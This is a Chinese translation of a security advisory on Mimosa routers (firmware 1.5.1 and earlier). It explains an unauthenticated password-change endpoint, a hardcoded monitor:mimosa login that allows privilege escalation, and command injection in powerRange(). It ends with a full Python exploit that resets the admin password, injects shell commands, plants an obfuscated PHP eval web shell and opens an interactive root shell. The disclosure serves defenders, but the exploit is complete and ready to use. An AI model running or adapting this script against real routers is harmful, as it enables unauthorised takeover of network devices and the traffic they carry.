Mimosa路由器提权与身份认证绕过 – 作者:Fnas0n

译文来源:https://ssd-disclosure.com/ssd-advisory-mimosa-routers-privilege-escalation-and-authentication-bypass/

漏洞摘要

Mimosa Networks是全球无线宽带解决方案的技术领导者,为全球的服务商,企业,和政府运营商提供光纤连接服务。该路由器中的漏洞可以通过在web界面中执行恶意代码来绕过身份认证并提权。

影响范围

固件版本 <= 1.5.1(最新版本)

漏洞细节

所有的Mimosa路由器的web界面均使用php编写,并且Mimosa开发人员还有自己的小型php框架。

web界面的php脚本路径位于/var/www/,其中一些是处理API请求,一些用于web界面。让我们来看下代码是如何处理身份认证的。

身份认证绕过/提权

/var/www/core/tinyframe/mimosa.php文件:

class Dispatcher { //Dispatcher class (Handles routing) included for reference
    private $output;
    
    public function __construct() {
        if (isset($_GET['q'])) { //parse action from url querystring
            $array = explode('.', $_GET['q']);
            if (count($array)) {
                Application::$controller['name'] = strtolower(array_shift($array));
                if (count($array)) {
                    Application::$controller['action'] = strtolower(array_shift($array));
                }
            }
            unset($_GET['q']);
        }
    }
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array(   // This are the controllers and functions that won't require authentication
            'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
            'info' => array('device'),
            'preferences' => array('changepass'),   // <--- The bug is here
            'tools' => array('antenna_data')
        );

可以看到,preferences端点不用进行身份验证(可在<router_ip> /index.php?q=preferences.preferences处访问),提权和身份绕过漏洞就存在这处。我们来看下代码处理过程,试试可以分析下。

/var/www/core/controller/preferences.php文件:

//line 111 
   public function changepass() {
        if(self::$isPost) { // Checks if the request sent is POST
            $saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
            foreach($saveArray as &$value) {
                $value = md5($value); // md5 hashing the password value
            }
            $_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
            $this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
            Flags::create('password_modified');
        }
    }

如上所示,漏洞原因非常简单,也非常容易利用。

利用第一个漏洞可以成为超级用户,这很重要,因为我们需要通过登录才能使会话有效。代码中使用$_SESSION全局变量检查会话超时。只有登陆之后才会设置这个值。若该值没有被设置,则验证就会失败。但幸运的是,mimosa有一个硬编码的web用户(monitor:mimosa),可以使用最低权限登录,更好的是,不可以对更改该用户的密码或禁用。使用硬编码的认证并提权,我们可以获得对web UI管理权限。

第二个漏洞非常简单。我们可以无需身份验证来更改超级用户的密码。并可以使用新密码登录并完全控制。下面的PoC利用了这两个缺陷来实现RCE

远程命令执行

远程命令执行需要身份验证通过才可利用,通过上面其中一个漏洞,我们可获取一个有效会话并利用该漏洞。这个漏洞非常简单,让我们看下代码。

public function powerRange() {
        $isR5 = $this->product == 'B02';
        $bw = $_GET['bw'];
        $freq1= $_GET['freq'];
        $freq2 = $_GET['freq2'];
        $country = country();
​
        if ((strlen(substr($bw, 2)) > 2))
            $bw = '3' . str_replace(' FD','',substr($bw, 2));
        else
            $bw = substr($bw, 2);
​
        $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2";
        if ( MIMOSA_PRODUCT == 'B11') {
            $cmdRemote = $cmdLocal  = $cmd;
​
            $cmdLocal .= " gain ". $_GET['gain'];
            $cmdRemote.= " gain ". $_GET['gainRemote'];
​
            $minMaxLocal = array();
            $minMaxRemote = array();
​
            $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
            foreach ($lines as $key => $line) {
                $x = explode(':', $line);
                $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1]));
            }
​
            $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
            foreach ($lines as $key => $line) {
                $x = explode(':', $line);
                $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1]));
            }
            $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]),
                'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1]));
        }
        else {
            if ($isR5) {
                if (intval($_GET['gain']) > intval($_GET['gainRemote']))
                    $cmd .= " gain ". $_GET['gain'];
                else
                    $cmd .= " gain ". $_GET['gainRemote'];
            }
            $lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
            $minMax = array();
  ​          
            foreach ($lines as $key => $line) {
                $x = explode(':', $line);
                $minMax[] = array((int) trim($x[2]), (int) trim($x[1]));
            }
            if(count($minMax) > 1) {
                $this->options = array('Power' => range($minMax[0][0], $minMax[0][1]),
                        'Power2' => range($minMax[1][0], $minMax[1][1]));
            } else {
                $this->options = array('Power' => range($minMax[0][0], $minMax[0][1]));
            }
        }

从上面代码中我们可以看到函数powerRange()(可在<router_ip>/index.php?q=wireless.powerRange处访问)使用doCmd()执行命令,但却没有进行过滤。如果产品为B11,则代码具有俩条路径,但是两种情况下都会发生RCE。

顺便说一下,/var/www/目录默认不可写(squashfs文件系统),可通过使用挂载/var/www/help//tmp/<some_dir>这个目录来上传shell

Demo

https://ssd-disclosure.com/wp-content/uploads/2020/06/mimosaexpl.gif

Exploit

#!/usr/bin/python2
import sys
import json
import requests
import urllib3
from base64 import b64encode as encode 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MimosaExploit():
    def __init__(self,url):
        self.url = url
        self.cookie = None

    def get_version(self):
        print '[+] Fingerprinting device.'
        r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'})
        if r.status_code != 200:
            print "[-] Failed to fetch device info, Are you sure this is mimosa device?"
            return False
        else:
            try:
                data = json.loads(r.text)
                print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version'])
                return True
            except Exception:
                print '[-] Failed to parse device info.'
                return False

    def LoginMonitor(self):
        print '[+] Attempting to login as the monitor user (lowest privilege)'
        r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'})
        if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
            print '[+] Login seems to have failed :('
            print '[+] Try using the password change exploit?'
            return False
        if 'Set-Cookie' not in r.headers.keys():
            print '[+] No session recieved, maybe retry?'
            return False
        self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
        print '[+] Got cookie: {}'.format(self.cookie)
    
    def LoginAdmin(self):
        print '[+] Attempting to login as the admin user'
        r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'})
        if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
            print '[+] Login seems to have failed :(, maybe retry?'
            return False
        if 'Set-Cookie' not in r.headers.keys():
            print '[+] No session recieved, maybe retry?'
            return False
        self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
        print '[+] Got cookie: {}'.format(self.cookie)
    
    def EscalatePrivilege(self):
        print '[+] Escalating privilege to Super User'
        r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
        if r.status_code != 200:
            print '[+] Failed to escalate privileges'
            return False
        try:
            json.loads(r.text)
        except:
            print '[-] Failed to escalate privileges, Invalid response'
            return False
        print '[+] Successfully got Super User privileges'
    
    def ChangeAdminPassword(self):
        print '[+] Changing the admin password to admin'
        r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
        if r.status_code != 200:
            print '[+] Failed to change the password'
            return False
        try:
            json.loads(r.text)
        except:
            print '[-] Failed to change the password, Invalid response'
            return False
        print '[+] Successfully changed the admin password'
    
    def ExploitRCE(self,Shell=True):
        print '[+] Beginning RCE exploit'
        if Shell == False:
            cmd = raw_input("Input command you want to execute> ")
        else:
            # Shell base64 decoded
            #<?php
            #eval(base64_decode($_REQUEST['p']));
            #?>
            cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php"
        
        r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie})
        if r.status_code != 200 and r.text.lower().find('power') == -1:
            print '[+] Executing the command might have failed'
            return False
        else:
            print '[+] Successfully executed the command'
        if Shell == True:
            print '[+] Checking if shell is uploaded'
            r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")})
            if r.status_code == 200 and r.text.strip() == '_UPLOADED_':
                print '[+] Shell is uploaded'
            else:
                print '[-] Uploading the shell might have failed, retry?'
                return False
            ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ")
            if ch.lower() == 'y':
                print '[+] Running an interactive command shell'
                print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code'
                while True:
                    cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip()
                    if cmd == "quit":
                        print '[+] Exiting command shell.'
                        return True
                    elif cmd == 'clean_up':
                        cmd = encode('system("rm -rf load_help.php && echo __DONE__");')
                        r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd})
                        if r.status_code != 200:
                            print '[+] Something went wrong while executing the command'
                        elif r.text.strip() == '__DONE__':
                            print '[+] Exploit cleaned up, exit now please'
                    elif cmd.startswith("php "):
                        r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])})
                        if r.status_code != 200:
                            print '[+] Execution Failed.'
                        else:
                            print r.text
                    r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')})
                    if r.status_code != 200:
                        print '[+] Something went wrong while executing the command'
                        print r.status_code
                        print r.text
                    else:
                        print r.text
            else:
                print '[+] Your shell should be at {}/help/load_help.php'
                print '[+] use GET/POST parameter p to execute php code'
                print '[+] Note the php code sent through p has to be base64 encoded'
                return True
        else:
            print '[+] Command should be executed'
            return True
    
    def run(self):
        print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit'
        print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) '
        ch = raw_input('Choice> ')
        if ch == "1":
            if(self.get_version() == False):
                print '[-] Fingerprinting Failed, bailing'
                exit(0);
            if(self.LoginMonitor() == False):
                print '[-] Failed to Login using hardcoded creds, Bailing'
                exit(0);
            shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
            if shell.strip().lower() == 'y':
                self.ExploitRCE()
            else:
                self.ExploitRCE(Shell=False)
        if ch == "2":
            if(self.get_version() == False):
                print '[-] Fingerprinting Failed, bailing'
                exit(0);
            if(self.ChangeAdminPassword() == False):
                print '[-] Failed to change creds, Bailing'
                exit(0);
            if(self.LoginAdmin() == False):
                print '[-] Failed to Login as admin, Bailing'
                exit(0);
            shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
            if shell.strip().lower() == 'y':
                self.ExploitRCE()
            else:
                self.ExploitRCE(Shell=False)    


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print 'Usage: {} <url>'.format(sys.argv[0])
        exit(0)
    ex = MimosaExploit(sys.argv[1])
    ex.run()

 

 

 

来源:freebuf.com 2020-07-19 12:13:14 by: Fnas0n

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论